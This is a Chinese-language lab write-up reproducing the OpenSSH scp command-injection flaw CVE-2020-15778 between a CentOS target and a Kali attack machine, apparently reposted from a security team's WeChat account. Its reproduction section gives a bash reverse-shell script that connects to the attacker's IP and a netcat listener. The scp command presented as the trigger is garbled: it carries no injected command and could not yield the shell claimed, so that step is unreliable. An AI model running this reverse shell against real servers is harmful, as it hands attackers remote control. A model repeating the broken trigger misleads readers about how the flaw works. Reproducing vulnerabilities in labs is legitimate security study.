0x01 漏洞描述
OpenSSH中的scp文件存在操作系统命令执行漏洞。漏洞源于外部输入的命令可构造操作系统可执行的语句,由于系统未正确过滤其中的特殊字符、命令等,造成攻击者可以用它来执行命令。
0x02 环境准备
-
实验机IP:192.168.3.26
-
攻击机IP:192.168.3.113
-
实验机环境:centos 6.5
-
攻击机环境:Kali 2020
0x03 复现过程
(1)检测ssh和scp正常情况下的使用情况:
ssh正常使用。
在Kali桌面创建一个名为 tset.txt的测试文件,内容为:test 123456,然后使用命令
scp test.txt root@192.168.3.26:/tmp/test.txt
拷贝到实验机环境下。
在实验机目录下发现改文件,内容一致,scp正常使用。
(2)在实验机上设置策略,禁止ssh远程登录,但开放scp连接:
iptables启动命令:
service iptables start
启动防火墙,同时添加策略,禁止ssh连接,命令如下:
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
配置好后保存。
service iptables save
接下来测试策略是否生效,使用ssh连接在输入密码之后,一直无任何反应,scp功能可以正常使用,说明策略已经生效。
(3)在攻击机上创建一个反弹shell的脚本文件test.sh,用它来执行bash命令并反弹shell到攻击机上,test.sh内容如下:
bash -i >&/dev/tcp/192.168.3.113/4444 0>&1
使用scp功能,将test.sh上传到实验机上,命令如下:
scp test.sh 192.168.3.26:/tmp/test.sh
成功上传。查看实验机目录,发现存在test.sh文件,说明上传成功
接着在攻击机上另起终端,监听本机4444端口,命令如下:
nc-lvp 4444
返回原来终端,调用之前上传的test.sh文件,执行命令,调用语句如下:
scp test.sh root@192.168.3.26:'tmp/test.sh'
输入密码之后无任何反应,但是刚刚监听的端口会反弹shell回来。
0x04 实验总结
该漏洞可用性不高,首先得知道root用户的密码,一般知道密码之后可以使用多种方式直接连接,但是在某些特定的情况下,该漏洞可以用来获取服务器某些文件,比如从低权限提到高权限等。


长按识别二维码关注我们
原文始发于微信公众号(TERRA星环安全团队):OpenSSH-SCP 命令注入(CVE-2020-15778)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论